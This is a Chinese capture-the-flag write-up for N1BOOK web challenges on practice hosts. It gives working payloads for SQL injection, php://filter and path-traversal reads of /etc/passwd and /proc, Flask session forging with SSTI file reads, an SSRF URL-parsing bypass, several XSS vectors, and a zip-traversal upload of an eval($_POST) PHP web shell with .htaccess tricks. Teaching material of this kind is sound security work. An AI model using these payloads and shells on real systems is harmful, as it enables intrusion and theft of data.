BUUCTF-N1BOOK

[第一章 web入门]常见的搜集

dirsearch -u http://74394245-f26a-46d0-92c9-6cead1346fa4.node5.buuoj.cn:81/


之后没有思路,查看题解发现:


flag1:n1book{info_1 flag2:s_v3ry_im flag3:p0rtant_hack}

[第一章 web入门]粗心的小李

githacker –url http://83d9dee3-3f90-4977-9cc5-99d26b130a8b.node5.buuoj.cn:81/.git –output-folder git

在githacker文件夹目录下会生成index.html,得到flag

[第一章 web入门]SQL注入-有回显

  1. 判断注入方式:id=2-1和id=1回显不同,证明是字符型注入。
  2. 判断闭合方式:id=1’无回显,id=1”有回显,证明闭合方式是单引号。
  3. 判断字段数:id=1’ order by 3– - 有回显,id=1’ order by 4– -无回显,证明有3个字段。注意这里用#注释无效,需用– -
  4. 获取数据库名:id=-1’ union select 1,database(),3 – -,注意要让第一条数据不显示。
  5. 获取表名:id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’note’– -,显示fl4g,notes。或者直接table_schema=database()。
  6. 获取列名:id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’fl4g’ and table_schema=’note’ – -,显示fllllag。
  7. 获取flag: id=-1’ union select 1,2, fllllag from fl4g– -,显示n1book{union_select_is_so_cool}。

[第一章 web入门]SQL注入-无回显

报错信息是一串unicode编码。

账号名改成admin,报错信息解码后为:账号或密码错误。证明这是字符型注入。

接下来判断闭合方式,发现是单引号。pass的值不重要,注入时会被注释掉。

由于开启了mysql的错误提示,报错会进行回显,于是使用报错注入:

  1. 获取数据库名:name=admin’ and updatexml(1,concat(0x7e,database()),1)#&pass=1

  2. 获取表名:name=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’note’)),1)#&pass=1

由于不展示select到的值,判断select被过滤。根据mysql对大小写不敏感,从而使用大小写绕过,sElect代替select。

  1. 获取列名:name=admin’ and updatexml(1,concat(0x7e,(sElect group_concat(column_name) from information_schema.columns where table_name=’fl4g’ and table_schema=’note’)),1)#&pass=1

  2. 获取flag: name=admin’ and updatexml(1,concat(0x7e,(sElect flag from fl4g)),1)#&pass=1

[!NOTE]

  1. 有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入。
  2. updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数。
  3. 如果没有报错提示,可以bool注入。

[第一章 web入门]afr_1

p输入其他值均无反应,只有flag时显示nonono,猜测可能内容被注释。

想到php伪协议读取源代码:php://filter/read=convert.base64-encode/resource=flag

解码出的内容:

<?php
die('no no no');
//n1book{afr_1_solved}

[第一章 web入门]afr_2

F12源码查看gif的位置在img/img.gif,有一个目录,想到目录穿越。

访问img../穿越到根目录,查看flag。

[第一章 web入门]afr_3

Linux文件系统

  • /:是所有文件的根目录;
  • /bin:存放二进制可执行命令目录;
  • /home:用户主目录的基点目录,默认情况每个用户主目录都设在该目录下;
  • /lib:存放标准程序设计库目录,又叫动态链接共享库目录,目录中文件类似windows里的后缀名为dll的文件;
  • /etc:存放系统管理和配置文件目录;
  • /dev:存放设备特殊文件目录,如声卡文件,磁盘文件等;
  • /usr:最庞大的目录,存放应用程序和文件目录;
  • /proc:虚拟目录,是系统内存的映射,可直接访问这个目录来获取系统信息;
  • /root:系统管理员的主目录;
  • /var:存放系统产生的经常变化文件的目录,例如打印机、邮件等假脱机目录、日志文件、格式化后的手册页以及一些应用程序的数据文件等;
  • /tmp:存放公用临时文件目录。

文件读取漏洞常见读取路径

  • /etc:多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。
  • /etc/passwd:保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。
  • /etc/shadow:保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写、shadow组可读。所以一般情况下,这个文件是不可读的。
  • /etc/apache2/* :Apache配置文件,可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。
  • /etc/nginx/* :Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。
  • /etc/apparmor(.d)/* :是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。
  • /etc/(cron.d/* |crontab):定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。
  • /etc/environment:环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
  • /etc/hostname:表示主机名。
  • /etc/hosts:主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。
  • /etc/issue:指明系统版本。
  • /proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需 /proc/self/ 代替/proc/[pid]/即可。对应目录下的cmdline可读出比较敏感的信息,如使用mysql-uxxx-pxxxx登录MySQL,会在cmdline中显示明文密码:

flask-session伪造

  1. session的作用
    由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。 用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

  2. 漏洞成因
    session一般都是存储在服务器端的,但是由于flask是轻量级的框架,所以把session存储在了客户端的cookie中,导致了session伪造的漏洞,从而达到冒充其他用户的目的。

  3. flask的session格式
    flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名

所以要进行session伪造就必须先得到secret_key。

解题步骤

退到上一层,发现给出了路径:

开始尝试目录穿越,首先尝试/etc,发现存在但是访问不了:

查看/etc/passwd

/proc/self/cmdline查看当前进程命令行记录:

../../../proc/self/cwd跳转到进程的运行目录,../../../proc/self/cwd/server.py获取源码:

代码审计:

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code # 将n1code存储在session中
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
# 根据session['n1code']渲染模板,生成一个包含session['n1code']的HTML页面内容。
session['n1code'] = None
return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e

return render_template('article.html', template=template)

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)

发现flag.py和key.py,分别访问。flag.py被禁止访问,key.py内容如下,即session伪造所需的secert_key:

 
n1code = request.form.get("n1code")获取请求中的 n1code表单数据。
    

template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']

 session[‘n1code’] 直接被嵌入到HTML模板中,这里存在SSTI漏洞。该语句会将session[‘n1code’]的值打印出来。所以我们需要伪造session[‘n1code’] ,能让flag.py的值被打印出来。

使用flask session hack脚本。

  • 解密:python flask_session_cookie_hack.py decode -c {cookie} -s {secert_key}

首先获取本次session的cookie值:

将解密后的session复制下来,把None换成读文件flag.py的代码,加密回去 {'n1code': '{{"a".__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}'}

  • 加密:python flask_session_cookie_hack.py encode -t {} -s {secert_key}
{'n1code': '{{\'\'.__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}

注意单引号需要转义:

得到cookie。抓包,加上cookie值:

总结

  • 考察对flask框架的cookie、session加解密知识。
  • 考察../../../../../目录穿越。
  • 考察目录穿越后获取信息的能力。
    • /proc/self/environ 当前进程环境变量
    • /proc/self/cmdline 当前进程命令行,得到python server.py命令
    • /proc/self/cwd 跳转到当前进程工作目录。
  • 考察SSTI(模板注入)
    {'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'flag.py\').read()}}'}
  • SSTI常用命令:
    • 读取文件内容1,()也可以为’’
      {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['open']("/app/server.py").read()}}
    • 读取文件内容2 {{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
    • 获取配置
      {{config.items()}}
    • 自身dict
      {{self.__dict__}}
    • 获取当前app配置
      {{get_flashed_messages.__globals__['current_app'].config}}
    • __getitem__绕过[]
      {{get_flashed_messages.__globals__.__getitem__('current_app').config}}
    • url_for减少字符长度
      {{url_for.__globals__.__getitem__('current_app').config}}
    • Tornado Web server的SSTI 
      handler.settings

[第二章 web进阶]SSRF Training

SSRF

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户

SSRF(Server Side Request Forgery,服务端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞。因为请求是由内部发起的,所以一般情况下,SSRF漏洞攻击的目标往往是从外网无法访问的内部系统

SSRF漏洞形成的原因多是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求。

理解URL构造对如何进行绕过和如何利用很有帮助。

解题步骤

需要传入一个url,使其能够访问localhost下的flag.php

代码审计:

<?php 
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
# 检查url格式
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
# 分解url
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host']; #获取主机名
$ip=gethostbyname($hostname); #通过主机名获取ip
$int_ip=ip2long($ip); #ip2long:将IPv4的ip地址(以小数点分隔形式)转换为int
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
} #判断是否是私有地址,是则这个函数就返回1

function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}

$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>

payload: http://a:@127.0.0.1:80@www.baidu.com/flag.php

利用了curlparse_url解析URL的规则不同,绕过局域网ip限制。

parse_url:

```php
<?php
$url = "http://a:@127.0.0.1:80@baidu.com/flag.php";
print_r(parse_url($url));
?>
/*
Array
(
[scheme] => http
[host] => baidu.com
[user] => a
[pass] => @127.0.0.1:80
[path] => /flag.php
)
*/

发现 parse_url取到的host是baidu.com,而curl取到的是127.0.0.1:80,所以就实现了检测IP时候是一个正常的一个网站域名而实际curl请求的时候是构造的127.0.0.1,以此实现了SSRF攻击。

除了PHP,不同语言对URL的解析方式各不相同。

[第二章 web进阶]XSS闯关

XSS

这一次,彻底理解XSS攻击-腾讯云开发者社区-腾讯云
从0到1完全掌握 XSS - FreeBuf网络安全行业门户
XSS 实战攻击思路总结 - 先知社区
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

反射型XSS

反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。

存储型XSS

存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型XSS通常只在url中)到一个网站上其他用户可能访问的地方。一旦用户访问受感染的页,执行是自动的。

DOM型XSS

DOM(Document Object Model,文档对象模型)是浏览器将 HTML 和 XML 文档结构化后的一种编程接口。通过 DOM,开发人员可以动态地访问、修改和操作网页的内容和结构。它将页面的各个部分(如元素、属性和文本)表示为对象的层级结构,使 JavaScript 等脚本语言能够操作页面内容。

在 DOM 型 XSS 中,恶意输入通过客户端 JavaScript 操作(如 window.locationdocument.referrerelement.innerHTML 等)直接插入到 DOM 中,导致浏览器执行恶意代码。此类漏洞不会在服务器端进行任何操作或存储,而是利用了页面中的 JavaScript 代码在客户端执行的特点。

解题步骤

本环境为闯关形式,每过一关即可进入下一关,过关目标为利用XSS漏洞在页面执行alert函数。

level 1:

发现get的username直接显示在页面上,于是直接注入js代码:

?username=<script>alert(1)</script>

level 2:
查看源代码:

escape() 函数会将特殊字符转换为百分比编码,所以对 <> 字符进行了转义,导致js代码无法被执行。

escape("<script>alert(1)</script>");
// 结果:"%3Cscript%3Ealert(1)%3C/script%3E"

但如果注入

?username=xss';alert(1);'xss
//或者将后面的单引号注释
username=xss';alert(1);//
//JavaScript 中并不识别 `#` 作为注释符。

那么前面两个单引号就会闭合,执行以下代码:

var username='xss';
alert(1);
'xss';

level 3:

依旧用上一关的的payload,发现单引号被转义。

再加一个单引号

username=xss'';alert(1);//

level 4:

<script type="text/javascript">
var time = 10; // 倒计时时间,默认为10秒
var jumpUrl;

// 检查URL中是否有 jumpUrl 参数
if (getQueryVariable('jumpUrl') == false) {
jumpUrl = location.href;
// 如果没有 jumpUrl 参数,默认跳转到当前页面
} else {
jumpUrl = getQueryVariable('jumpUrl');
// 否则设置跳转目标为URL中的 jumpUrl 参数
}

// 每隔一秒执行 jump 函数,进行倒计时
setTimeout(jump, 1000, time);

// 定义 jump 函数,执行倒计时并更新页面显示
function jump(time) {
if (time == 0) {
location.href = jumpUrl;
// 倒计时结束后跳转到指定的 jumpUrl
} else {
time = time - 1;
document.getElementById('ccc').innerHTML = `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump, 1000, time);
}
}

// 定义 getQueryVariable 函数,用于获取URL中的参数
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
// 获取URL的查询字符串部分(去掉问号)
var vars = query.split("&");
// 按照 & 分割多个参数
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split("=");
// 按照 = 分割每个参数名和值
if (pair[0] == variable) {
return pair[1];
// 如果参数名匹配,返回其对应的值
}
}
return false;
}
</script>

分析代码,将获取到的jumpUrl的值作为目标地址,倒计时结束后使用location.href进行重定向。

JavaScript伪协议:javascript:alert(1),浏览器会把javascript:后面的内容当做代码,直接在当前页面执行。

?jumpUrl=javascript:alert(1)

level 5:

<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{

}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

填写的表单名为autoForm。如果autosubmit的值非空,并且action的值非空,那么autoForm.action(表单提交的目标地址)就是action的值,否则目标地址是当前页。

?autosubmit=1&action=javascript:alert(1)

level 6:

前端AngularJS模板注入:AngularJS客户端模板注入(XSS)|NOSEC安全讯息平台 - 白帽汇安全研究院

Angular1.4.6沙箱逃逸:

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

[第二章 web进阶]文件上传

解题步骤

  <?php
header("Content-Type:text/html; charset=utf-8");
//5分钟会清除一次目录下上传的文件

require_once('pclzip.lib.php');
//包含文件pclzip.lib.php,可能是针对zip包进行解压等操作

$dir = 'upload/';
//上传目录
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
//strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
//比如上传的文件名为$name=1.php.txt,这里strrchr($name, '.') 执行结果为.txt
//substr(strrchr($name, '.'), 1)
//substr字符串截取,从下标为1开始截取,那就是把点略过,截取后为txt
//通过strtolower函数将所有字符转换为小写,赋值给ext变量
//如果我们上传的文件名为1.txt,那么path变量就为upload/1.txt


//递归遍历指定的目录 `$dir`,删除该目录及其子目录中所有不是 `jpg`、`gif` 或 `png` 文件的其他文件。
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}

}
}
}

//创建目录
if(!is_dir($dir)){
mkdir($dir);
}


$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
//这里应该就是最难的了,大概就是将目录名拼接一个随机数,读到这里,基本上就知道需要目录穿越了。因为我们不知道随机数值,所以就算绕过上传,解析也是一大关(路径不难找,就是解析难)


//首先进行后缀的校验,把刚刚拿到的,最后一个.后面的字符串和这里的zip、jpg、gif、png进行对比校验
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
//使用PclZip进行解压缩
$archive = new PclZip($file['tmp_name']);
//遍历解压缩后的每个目录
foreach($archive->listContent() as $value){
$filename = $value["filename"];
//一段较为简单的正则,就是匹配每个文件结尾的位置,是否是.php
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}

check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}


分析源码可知,用户可以上传zip、jpg、gif、png文件。其中zip文件中不能包含php文件。通过zip上传后,服务器会对zip进行解压,放在upload目录下。本题需要上传恶意php,该文件要能被访问并且被服务器解析。

上传成功的文件会被放入一个随机数构造的文件目录中,所以上传的路径是upload/随机值/上传的文件。由于我们不知道随机值,所以要使用目录穿越,将文件上传到网站根目录。

Web服务器为Apache。由于需要构造解析,利用apache的解析漏洞,如果从右开始,直到哪个能识别就解析哪个,构造最终文件名为../../1.php.xxx,这个名字是15位的。新建一个文件,名字长度同样也是15位的,否则解压会报错。压缩成.zip文件。后缀无所谓,后面需要用010editor改。

在010Edtior中打开该压缩包。修改文件名为../../1.php.xxx。Record 用于表示结构化数据的静态结构,常用于解析特定格式的数据。而 DirEntry 用于表示目录或文件列表的动态结构,常用于解析文件系统或压缩包中的目录结构。修改DirEntry的文件名为../../1.php.xxx。

上传压缩包。访问1.php.xxx。

总结

  • Apache php解析漏洞 :xxx.php.xxx被当成xxx.php解析
  • 目录穿越
    • /../../1.php.xxx:路径以 / 开头,表示从文件系统的根目录开始解析路径。最终,../../1.php.xxx 会被解析为根目录下的 1.php.xxx,但这依赖于路径的具体实现。
    • ../../1.php.xxx:表示从当前工作目录回退两级,最终指向该位置下的1.php.xxx文件。
  • php可执行后缀 php3、php5、phtml、pht ,其中phtml的payload可以为<script language="php">eval($_POST['shell']);</script>
    如果需要绕过图片限制,可以在载荷前一行加GIF.
  • asp可执行后缀: cdx、cer、asa,jsp可执行后缀 jspx。
  • 将.htacess或.user.ini文件伪造成图片文件格式上传,使得含恶意载荷的jpg文件可以被当做php解析。
    .htacess,让含test字符的文件当做php解析
GIF
<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini`

表示执行该目录的php文件时都会包含test.jpg,一般需要先上传含有恶意php载荷的图片test.jpg,然后请求该目录下的*.php文件,使用antsword连接。

GIF
auto_prepend_file=test.jpg